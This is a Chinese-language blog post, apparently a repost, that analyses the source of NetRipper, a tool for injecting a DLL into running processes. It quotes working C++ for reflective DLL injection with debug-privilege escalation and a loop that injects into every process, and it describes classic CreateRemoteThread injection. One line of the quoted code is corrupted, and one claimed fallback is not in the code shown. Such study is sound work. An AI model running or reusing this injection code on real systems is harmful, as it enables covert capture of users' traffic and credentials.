您的位置:首页 > 其它

NetRipper源码

2017-03-05 10:46 120 查看
NetRipper:

主函数

int _tmain(int argc,char* argv[]) 是主函数。函数先读取输入参数,如果参数只有一个就PrintHelp(),如果参数个数等于3,则解析参数,如果参数不是以’-‘开头,则inject DLL,第二个参数是DLL的地址,第三个参数是process名,并:

cout << "Trying to inject " << sDLL << " in " << sProcess << endl;

if(sProcess.compare("ALL") == 0)
InjectAll(sDLL, TRUE);
else
InjectAllByName(sDLL, sProcess, TRUE);


除了参数是一个或者三个,则继续执行后面代码,此时应当是生成新的NewDLL.dll,此处为了生成新的DLL,parse了以下参数“sDLL,sLocation,sPlian,sLimit,sFinder”,并将其拼接成一个字符串:

string sFinalData = "plaintext=" + sPlain + ";datalimit=" + sLimit + ";stringfinder=" + sFinder + ";"+ "data_path=" + sLocation + ";";


随后输出提示信息:

if(ReplaceData(sDLL, GenerateData(sFinalData)) == true)
cout << endl << "DLL succesfully created: " << TEMP_DLL_FILE << endl;
else
cout << endl << "Cannot create DLL " << TEMP_DLL_FILE << endl;


而其中的GenerateData()以及ReplaceData()应当就是用sFileData替换之前DLL中的某些参数,生成新的Dll。

Inject

上面介绍的都是参数的parse以及根据参数生成新的DLL的过程,而当NetRipper.exe真正运行的时候主要是实现Inject

cout << "Trying to inject " << sDLL << " in " << sProcess << endl;

if(sProcess.compare("ALL") == 0)
InjectAll(sDLL, TRUE);
else
InjectAllByName(sDLL, sProcess, TRUE);


InjectAll传入的连个参数第一个是所使用的DLL的路径,第二个参数是标识是使用Reflective注入还是Normal注入,代码如下:

void InjectAll(string p_sDLLName, BOOL p_bReflectiveInject)
{
vector<PROCESSENTRY32> vProcesses = GetProcesses();

// Check all processes

for(size_t i = 0; i < vProcesses.size(); i++)
{
if(p_bReflectiveInject)
{
if(ReflectiveInject(p_sDLLName, vProcesses[i].th32ProcessID) == TRUE)
cout << "Reflective injected in: " << vProcesses[i].th32ProcessID << endl;
}
else
{
if(NormalInject(p_sDLLName, vProcesses[i].th32ProcessID) == TRUE)
cout << "Injected in: " << vProcesses[i].th32ProcessID << endl;
}
}
}


先利用GetProcess()得到进程列表,随后调用ReflectiveInject()进行注入,若失败则进行NormalInject()注入。

GetProcesses()函数是获取进程列表,利用API函数CreateToolhelp32Snapshot()获取一个hSnapshot HANDLE,随后通过Process32Next(hSnapshot,&hProcess)循环获取进程,将得到的每个进程通过push__back添加到vProcesses中,已得到进程列表。

NormalInject()函数是使用一般的DLL注入方法,大概原理是:在当前进程a中开启一个远程线程(利用CreateRemoteThread()创建,注意这里创建的是另外一个进程b的线程)来调用LoadLibraryA()函数,将DLL路径字符串指针作为参数,利用LoadLibraryA()函数载入DLL(在调用此函数时利用GetProcAddress()获取LoadLibraryA()函数的内存地址)。

ReflectiveInject()函数是利用反射DLL注入。因为Normalinject需要进程a来去开启一个进程b中的一个县城来调用LoadLibraryA(),实际测试场景中可能并没有进程a,于是就有了反射DLL注入,具体讲解参考这篇文章。大概是直接将DLL读入内存,通过 LoadRemoteLibraryR()加载DLL,代码如下:

BOOL ReflectiveInject(string p_sDLLName, DWORD p_dwID)
{
HANDLE hFile          = NULL;
HANDLE hModule        = NULL;
HANDLE hProcess       = NULL;
HANDLE hToken         = NULL;
LPVOID lpBuffer       = NULL;
DWORD dwLength        = 0;
DWORD dwBytesRead     = 0;
TOKEN_PRIVILEGES priv = {0};
BOOL bResult          = TRUE;
BOOL bIs32Bit         = FALSE;

do
{
// Open DLL for read

hFile = CreateFileA( p_sDLLName.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );

if( hFile == INVALID_HANDLE_VALUE )
{
cout << "Cannot read DLL file: " << p_sDLLName << endl;
bResult = FALSE; break;
}

// Get DLL size

dwLength = GetFileSize( hFile, NULL );

if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
{
cout << "Failed to get the DLL file size" << endl;
bResult = FALSE; break;
}

// Allocate space for DLL

lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );

if( !lpBuffer )
{
cout << "Failed to get the DLL file size" << endl;
bResult = FALSE; break;
}

// Read DLL

if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
{
cout << "Failed to alloc a buffer!" << endl;
bResult = FALSE; break;
}

// Adjust privileges

if( OpenProcessToken( GetCurrentProcess(), TOKEN_AD
4000
JUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount           = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

CloseHandle( hToken );
}

// Open target process

hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, p_dwID );

if( !hProcess )
{
cout << "Failed to open the target process" << endl;
bResult = FALSE; break;
}

// Check if Windows is 64 bit

if(IsWindows64())
{
// Check if process is 32 bit

bResult = IsWow64Process(hProcess, &bIs32Bit);

if(bResult == 0)
{
cout << "Error: Cannot verify if process " << p_dwID << " is 32 bit!" << endl;
bResult = FALSE; break;
}

if(!bIs32Bit)
{
cout << "Error: Process " << p_dwID << " is NOT 32 bit!" << endl;
bResult = FALSE; break;
}
}

// Inject reflective DLL

hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );

if( !hModule )
{
cout << "Failed to inject the DLL in process: "<< p_dwID << endl;
bResult = FALSE; break;
}

WaitForSingleObject( hModule, -1 );

} while(0);

// Cleanup

if( hFile )
CloseHandle( hFile );

if( lpBuffer )
HeapFree( GetProcessHeap(), 0, lpBuffer );

if( hProcess )
CloseHandle( hProcess );

return bResult;
}


另外在Inject时,会有一个判断,是调用injectAllByname()还是InjectAll(),这个看函数名就知道是在干嘛了吧,其内部的逻辑都是利用上面所说的NormalInject或者ReflectiveInjective。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  hook